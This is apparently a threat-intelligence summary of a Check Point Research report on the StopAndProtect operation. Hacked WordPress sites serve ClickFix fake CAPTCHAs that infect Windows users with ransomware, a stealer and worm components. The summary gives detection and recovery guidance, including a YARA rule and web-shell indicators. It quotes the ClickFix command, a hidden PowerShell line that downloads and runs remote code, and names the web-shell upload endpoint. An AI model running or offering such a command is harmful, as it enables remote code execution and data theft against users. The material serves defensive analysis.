Thousands of Hacked WordPress Sites, One Operation: Unmasking StopAndProtect

What it is

"StopAndProtect" is a hands-on-keyboard operation Check Point Research (Jaromír Hořejší) tracked from mid-May to end of July 2026. The catalog summary frames it as "mass WordPress exploitation" — that is misleading. The WordPress sites are infrastructure, not the target. The actual victims are Windows users infected via a ClickFix fake-CAPTCHA. Compromised WordPress sites (close to 2,000 domains found in the operator's own leaked file lists) serve as malware staging, C&C, and exfil storage. StopAndProtect was the ransomware component's name; CPR applied it to the whole operation because ransomware is not always deployed — in many cases the actors silently exfiltrate file listings and specific files instead.

How it works

The infection chain, and where WordPress fits, is the substance the summary omits:

flowchart TD
    A[Compromised WordPress site<br/>fake CAPTCHA overlay] -->|Windows visitor| B[ClickFix: PowerShell copied to clipboard]
    B --> C[PS stage 1: logs to C&C, pulls PS stage 2]
    C --> D[PS stage 2: base64 .NET stage 1, loaded in memory]
    D --> E[stage 2 downloader/loader]
    E --> F[stage 3 components]
    F --> G[SilentEncryptor ransomware]
    F --> H[SilentDataCollector stealer]
    F --> I[NetworkShareScanner SMB/USB worm]
    F --> J[VBS spreader / LockScreen / SimpleChatProxy]

The clipboard command is powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString('${psUrl}')). The .NET loader enumerates assembly types and invokes any static, parameterless method named Execute.

Key component details:

• SilentEncryptor: derives a 32-byte key from a per-file password + machine name — both are embedded in the encrypted filename, so decryption is possible.
• SilentDataCollector: lists all drives, exfiltrates, then takes operator-directed files. Newer versions add a keylogger with email detection, WhatsApp contact exfiltration (automates search-box entry to screenshot contact info + phone number), and 30-second-interval activity screenshots.
• Persistence via a hidden must-use plugin at wp-content/mu-plugins/wp-sec.php; operators upload by POSTing to {BASE_URL}/wp-json/wp-sec/v1/upload.

Preconditions / Affected

Two distinct populations. WordPress operators: outdated core/plugins are the entry — one scanned site ran a 2021 version with ~40 vulnerabilities (SQLi, auth bypass, authenticated arbitrary file upload, open redirects). End users: any Windows user who executes the ClickFix clipboard command.

What to do

• Detection YARA (Check Point):

rule StopAndProtectOperation
{
  meta:
    description = "Detects StopAndProtect Operation"
    author = "Check Point Research"
    date = "2026-05-26"
    hash = "712E557373FBA45BDD66D52E395B8AF7CCF7006E6E82D4E1DB0736E738D0D4FB"
  strings:
    $a = "C:\\Users\\marks\\source\\"
  condition:
    all of them
}

• Hunt for attacker web shells on WordPress: wp-sec.php mu-plugin, dwnen.php / proxy.php / store.php / verify.php / wp-cssv.php / wp-verifyup.php, and the /wp-json/wp-sec/v1/upload endpoint. The verify plugin drops stored_url.txt (holds base URL, or off when disabled).
• Because SilentEncryptor stores password + machine name in the encrypted filename, recovery is feasible — preserve encrypted files rather than assuming total loss.
• Block/hunt the ClickFix pattern: powershell -w hidden -ep bypass -c IEX(...DownloadString...) copied from a browser CAPTCHA.

Caveats

Campaign-size figures are self-noted as imperfect: >6,000 unique IPs in infection logs but only ~600 ClickFix-hit IPs from one C&C (log files appear to have been reset, losing older data), and some logged machines are sandboxes/researchers. The operator tooling is Visual Basic 6 (fMain.frm); much of CPR's visibility came from the actor's poor OpSec — exposed directory listings and one instance where the operator apparently infected their own machine and uploaded their toolkit.